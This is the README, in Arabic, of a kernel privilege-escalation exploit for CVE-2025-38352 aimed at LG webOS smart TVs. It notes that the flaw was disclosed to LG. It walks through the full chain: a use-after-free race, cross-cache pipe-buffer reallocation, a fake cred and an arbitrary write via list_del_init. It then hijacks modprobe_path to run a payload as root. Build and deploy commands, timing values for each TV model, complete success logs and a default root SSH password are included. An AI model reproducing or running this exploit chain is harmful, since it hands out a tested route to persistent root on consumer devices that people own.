
استغلال نواة CVE-2025-38352 لأجهزة تلفاز LG webOS الذكية (ARM64). يحقق صلاحية الجذر المستمرة على أجهزة استهلاكية حقيقية باستخدام تقنيات استغلال جديدة. تم الإفصاح عنها بشكل مسؤول لشركة LG.
استغلال النواة لـ CVE-2025-38352 (حالة تسابق لمؤقت وحدة المعالجة المركزية POSIX / استخدام بعد التحرير) يحقق صلاحية الجذر الدائمة على تلفزيونات LG webOS الذكية التي تعمل بنواة 5.4.268 على ARM64. تم التحقق على 4 موديلات تلفزيون عبر إصدارات برامج ثابتة متعددة. تم الإبلاغ المسؤول لبرنامج باحثي الأمان في LG (فبراير 2026).
بني على Chronomaly بواسطة farazsth98. تم نقل وتكييف منطق تسابق UAF في المرحلة الأولى والبنية التحتية للتقاطع عبر الذاكرة المخبئية لـ ARM64؛ تم إعادة تصميم المراحل 2–5 بتقنيات استغلال جديدة وحلول لقيود الأجهزة الحقيقية غير الموجودة في البيئات المحاكاة. تم التطوير بمساعدة Claude Opus 4.6.
انظر VULNERABILITY_REPORT.md للتحليل الكامل للثغرة، ودليل سلسلة الاستغلال، والتخفيفات الموصى بها.
prisoner (uid=5038)تم تطوير هذا الاستغلال كجزء من بحث أمني مسؤول وتم الإبلاغ عنه لبرنامج باحثي الأمان في LG في 7 فبراير 2026. يُنشر لأغراض تعليمية فقط. استخدمه بمسؤولية وفقط على الأجهزة التي تملكها. المؤلفون غير مسؤولين عن أي ضرر، أو تلف، أو فقدان بيانات، أو إبطال الضمان الناتج عن استخدام هذا البرنامج. يتم توفير هذا البرنامج كما هو بدون ضمان.
التناقص العشوائي في الاستغلال الأصلي بطيء ومزعج: فهو يرش 1,000 كائن struct cred عبر عمليات متفرعة، ثم يخفض حقل EUID لكائن cred الهدف N مرة. كل تناقص هو عملية منفصلة. هذا مقبول في QEMU حيث يكون التوقيت متسامحًا، لكنه غير موثوق على الأجهزة الحقيقية حيث يمكن لاستعادة الصفحات المدفوعة بالمقاطعات أن تسرق صفحات مخزن الأنبوب بين العمليات.
تم استبدال هذا بكتابة عشوائية واحدة عبر list_del_init(). يقوم الاستغلال بكتابة مؤشرات list_head.next و list_head.prev لـ sigqueue المعرض لـ UAF عبر مخزن الأنبوب. عندما تقوم النواة بإزالة الإشارة المعلقة من الطابور (collect_signal() ← list_del_init())، فإنها تنفذ prev->next = next (تكتب عنوان cred المزيف في task_struct->cred) و next->prev = prev (كتابة جانبية مسيطر عليها). كتابة واحدة تستبدل مؤشر cred للعملية بمؤشر لهيكل cred مزيف يحتوي على حقول uid/gid صفرية. لا رش كائنات cred، ولا عمليات متفرعة، حتمي.
peek_pipe() عبر tee() للقراءات غير التدميريةيستخدم الاستغلال الأصلي استدعاءات read() تدميرية عبر مخازن الأنبوب طوال الاستغلال. في QEMU، يعمل هذا بشكل جيد لأن الصفحات لا تُسرق بين العمليات. على الأجهزة الحقيقية ذات 4 أنوية مادية، تقوم قائمة الصفحات لكل نواة (pcplist) للنواة باستعادة الصفحات المحررة بقوة. القراءة التدميرية تحرر الصفحة الداعمة لمخزن الأنبوب، والتي يمكن أن تُسرق فورًا بواسطة مقاطعة أجهزة قبل أن يتمكن الاستغلال من إعادة تخصيصها.
الحل هو أولية قراءة أنبوب غير تدميرية باستخدام tee(). استدعاء النظام tee() ينسخ بيانات الأنبوب بين أنبوبين دون استهلاكها، مما يحافظ على تثبيت الصفحة الداعمة لمخزن الأنبوب الأصلي. يتيح هذا للاستغلال قراءة بيانات النواة من مخزن الأنبوب عبر الذاكرة المخبئية بشكل متكرر دون خطر فقدان الصفحات. كان هذا ضروريًا للوثوقية على الأجهزة الحقيقية.
يقوم الاستغلال الأصلي برش كائنات cred ويأمل أن تهبط واحدة في موقع يمكن التنبؤ به. هذا الإصدار يبني هيكل cred المزيف في عنوان معروف عن طريق تنفيذ تقاطع ثانٍ عبر الذاكرة المخبئية: تخصيص sigqueue جديد (عبر tkill(SIGRTMIN+1))، تعلم عنوانه من تسرب الكومة لمخزن الأنبوب الأول، ثم تقاطع صفحة شريحة sigqueue تلك إلى مخزن أنبوب ثانٍ. يتم كتابة cred المزيف في مخزن الأنبوب الثاني عند إزاحة الصفحة الدقيقة لعنوان sigqueue المسرب. النتيجة هي cred مزيف في عنوان نواة حتمي دون تخمين.
يقوم الاستغلال الأصلي بإزالة SIGUSR2 من الطابور مبكرًا في المرحلة 2 لتسريب عنوان sigqueue المعرض لـ UAF. هذا يستهلك الإشارة، لذا يحتاج الاستغلال الأصلي لآلية مختلفة للكتابة النهائية. هذا الإصدار لا يحتاج أبدًا إلى عنوان sigqueue المعرض لـ UAF نفسه (تسريب الكومة يأتي من مؤشرات sigqueue المجاورة في مخزن الأنبوب). يبقى SIGUSR2 معلقًا عبر جميع المراحل الخمس ويتم استخدام إزالته من الطابور كمُشغل الكتابة العشوائية النهائية. الإشارة التي أنشأت UAF هي نفس الإشارة التي تستغلها إزالتها من الطابور.
modprobe_path + socket(44)هيكل cred المزيف يحتوي على مؤشرات user_ns و user و group_info فارغة (نظرًا لأن مخزن الأنبوب تم تهيئته بصفر بعد حقول uid/gid). استدعاء setresuid() أو fork() أو exec() سيؤدي إلى إلغاء مرجع هذه المؤشرات الفارغة وتسبب ذعر النواة. يتجنب الاستغلال الأصلي هذا لأن رش cred الخاص به يستخدم كائنات cred حقيقية بمؤشرات صالحة.
الحل: الكتابة فوق /proc/sys/kernel/modprobe للإشارة إلى نص برمجي للحمولة (/tmp/pwn)، ثم تشغيل call_usermodehelper عبر socket(44, SOCK_STREAM, 0) (طلب عائلة بروتوكول غير موجودة). تنفذ النواة مساعد modprobe مع init_cred (صلاحيات جذر النواة الخاصة، صالحة تمامًا)، متجاوزة cred التالف تمامًا. تعمل الحمولة كجذر كامل ويمكنها تنفيذ عمليات عشوائية.
النافذة الحرجة في المرحلة 4 (كتابة مؤشرات ضارة في مخزن الأنبوب، ثم تشغيل إزالة الإشارة من الطابور) معرضة لسرقة مقاطعات الأجهزة لصفحة مخزن الأنبوب من قائمة الصفحات لكل نواة. هذا لا يحدث في QEMU. على الأجهزة الحقيقية، يتم حماية هذه النافذة بأولوية SCHED_FIFO (عند التوفر) و sched_yield() للسماح بإكمال العمل المعلق على وحدة المعالجة المركزية قبل الدخول إلى القسم الحرج، بالإضافة إلى محتويات مخزن الأنبوب المجهزة مسبقًا لتقليل الوقت بين الكتابة والتشغيل. كما يتراجع الاستغلال بسلاسة عندما يكون SCHED_FIFO غير متوفر (كما في webOS حيث يفتقر المستخدم prisoner إلى CAP_SYS_NICE).
task_struct لـ ARM64تستهدف الكتابة العشوائية task_struct->cred، مما يتطلب معرفة إزاحة البايت من task_struct->pending (التي يتم تسريب عنوانها من مخزن الأنبوب) إلى task_struct->cred. هذه الإزاحة تعتمد على تكوين النواة. تم حساب الإزاحة 0x80 (128 بايت) يدويًا من شفرة مصدر نواة LG webOS، مع مراعاة CONFIG_KEYS=y و CONFIG_SYSVIPC=y وتخطيط الهيكل والمحاذاة الخاصة بـ ARM64. إزاحة x86_64 في الاستغلال الأصلي مختلفة بسبب تعبئة هيكل وخيارات تكوين مختلفة.
عند النجاح، يقوم الاستغلال بما يلي:
/proc/sys/kernel/modprobe لتشغيل حمولة تجذير كـ initaarch64-linux-gnu-gcc)# macOS (يتطلب tap جهة خارجية)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu
# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu
قم بتثبيت تطبيق Homebrew Channel على تلفزيونك عبر Dev Mode قبل تشغيل الاستغلال. بهذه الطريقة، تحتاج حمولة التجذير فقط إلى رفع صلاحيته (سريع، موثوق) بدلاً من تثبيت + رفع (أبطأ، قد يفشل). يمكنك تثبيته جانبياً باستخدام ares-install أو تطبيق Dev Manager:
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk
إذا لم يكن HBC مثبتًا مسبقًا، سيحاول الاستغلال تثبيته من /tmp/hbchannel.ipk (يتم نشره بواسطة deploy-webos.sh)، لكن هذا يضيف خطوات إضافية قد تفشل.
# 1. قم بتعيين عنوان IP للتلفزيون ومفتاح SSH
# عنوان IP للتلفزيون موجود في الإعدادات > الشبكة > Wi-Fi > الإعدادات المتقدمة
# يتم إنشاء مفتاح SSH بواسطة تطبيق LG Developer Mode — ابحث عن المفتاح
# الذي تم تنزيله بواسطة Dev Manager أو ares-setup-device (عادةً باسم webos_rsa)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"
# 2. البناء والنشر (deploy-webos.sh يتولى البناء تلقائيًا)
./deploy-webos.sh
# 3. الاتصال والتشغيل
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64
يقبل الاستغلال معاملات التوقيت كوسائط سطر أوامر:
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]
إذا لم يتم تقديم أي وسائط، يتم استخدام الإعدادات الافتراضية المجمعة (DELAY=31000, DELTA=50, THRESHOLD=3000).
إذا تم تقديم DELAY ولكن لم يتم تقديم DELTA، يتم حساب DELTA تلقائيًا كـ DELAY / 600 (مقربة إلى أقرب 5).
راقب مخرجات الاستغلال واضبط DELAY:
الوالد تسابق متأخرًا جدًا ← قلّل DELAY
الوالد تسابق مبكرًا جدًا ← زِد DELAY
عند ظهور كلتا الرسالتين، يكون التوقيت قريبًا — استمر في التشغيل وسيصل الاستغلال في النهاية إلى نافذة التسابق. ابدأ بالقيمة الافتراضية المجمعة (31000) واضبط من هناك.
## بعد الجذر
1. سينتظر الاستغلال حتى ينتهي `/tmp/pwn` — غالبًا ما ينتهي المهلة (هذا طبيعي). تحقق من `/tmp/pwn.log` للتحقق يدويًا من اكتمال الحمولة إذا لزم الأمر.
2. أعد تشغيل التلفزيون
3. بعد إعادة التشغيل، يوفر Homebrew Channel SSH على المنفذ 22:
```bash
ssh root@<TV_IP>
# كلمة المرور: alpine
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] fake_cred_addr = 0xffffff804908c820
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Signal dequeued successfully!
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Cleaning up all cross-cache allocations to prepare for next cross-cache
[+] Preparing task pending list for heap leaks
[DEBUG] Pipe buffer page dump (non-zero qwords):
[DEBUG] offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
[DEBUG] offset 0x968: 0xffffff80485913f8 [kernel ptr]
[+] Heap leaks:
- UAF sigqueue page offset 0x960
- Other sigqueue 0xffffff804dbee2d0
- Task pending list addr 0xffffff80485913f8
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] new_addr = 0xffffff804908c820 (page offset 0x820)
[+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
[+] Freeing slab 3 page...
[+] Writing fake cred at page offset 0x820
[+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
[+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] task_pending_list_addr = 0xffffff80485913f8
[+] cred_offset = 0x80 (128 bytes)
[+] task_cred_ptr_addr = 0xffffff8048591378
[+] fake_cred_addr = 0xffffff804908c820
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[-] SCHED_FIFO unavailable - proceeding anyway
[DEBUG] Verifying sigqueue fields in pipe buffer:
[DEBUG] list.next = 0xffffff804908c820 (expected 0xffffff804908c820) OK
[DEBUG] list.prev = 0xffffff8048591378 (expected 0xffffff8048591378) OK
[DEBUG] flags = 1 (expected 1) OK
[DEBUG] si_signo = 12 (expected 12 = SIGUSR2) OK
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
[+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
[DEBUG] poll() returned 1, revents=0x1
[DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
[DEBUG] Key addresses for list_del_init:
[DEBUG] UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
[DEBUG] UAF.next (entry->next) = fake_cred = 0xffffff804908c820
[DEBUG] fake_cred[0] should be task_pending_list = 0xffffff80485913f8
[DEBUG] Expected writes:
[DEBUG] *(0xffffff8048591378) = 0xffffff804908c820 (task->cred = fake_cred)
[DEBUG] *(0xffffff804908c828) = 0xffffff8048591378 (fake_cred.prev = task_cred_ptr)
[DEBUG] Verifying pipe buffers still valid...
[DEBUG] realloc_pipe read(0) = 0 (errno=1)
[DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
[DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
[DEBUG] read() returned 128, errno=0 (Success)
[DEBUG] Blocking mode restored
[+] Signal dequeued successfully! (read 128 bytes)
[DEBUG] POST-DEQUEUE pipe buffer check:
[DEBUG] list.next = 0xffffff80417e9960
[DEBUG] list.prev = 0xffffff80417e9960
[DEBUG] Pointers changed by kernel (list_del_init applied to our page)
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Checking privileges...
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[+] Waiting for /tmp/pwn to finish...
[+] May take up to 5 minutes to finish.
المساهمات الأصلية مرخصة بموجب MIT. الأجزاء المستمدة من Chronomaly بواسطة farazsth98 مستثناة من منحة MIT لأن المشروع الأصلي تم نشره بدون ترخيص صريح. انظر LICENSE للتفاصيل.
| المتغير | الافتراضي | الوصف |
|---|
WEBOS_IP | 192.168.1.100 | عنوان IP للتلفزيون |
WEBOS_PORT | 9922 | منفذ SSH |
WEBOS_USER | prisoner | مستخدم SSH |
WEBOS_KEY | $HOME/.ssh/webos_rsa | مسار مفتاح SSH |
| موديل التلفزيون | معرف OTA | DELAY | DELTA | THRESHOLD |
|---|
| OLED65C2PUA | HE_DTV_W22O_AFABATPU | 29700 | 50 | 3000 |
| 86QNED70AUA | HE_DTV_W25P_AFADATAA | 100000 | 165 | 3000 |
| OLED77C5PUA | HE_DTV_W25G_AFABATAA | 30500 | 50 | 3000 |
| OLED77G4WUA | HE_DTV_W24O_AFABATAA | 24500 | 50 | 2500 |
| OLED65C4PUA | HE_DTV_W24G_AFABATAA | 30000 | 50 | 3000 |
| OLED55C4PUA | HE_DTV_W24G_AFABATAA | 30300 | 50 | 3000 |
| OLED48C3AUB | - | 31300 | 50 | 3000 |
| OLED65C3PUA | HE_DTV_W23O_AFABJAAA | 27900 | 50 | 3000 |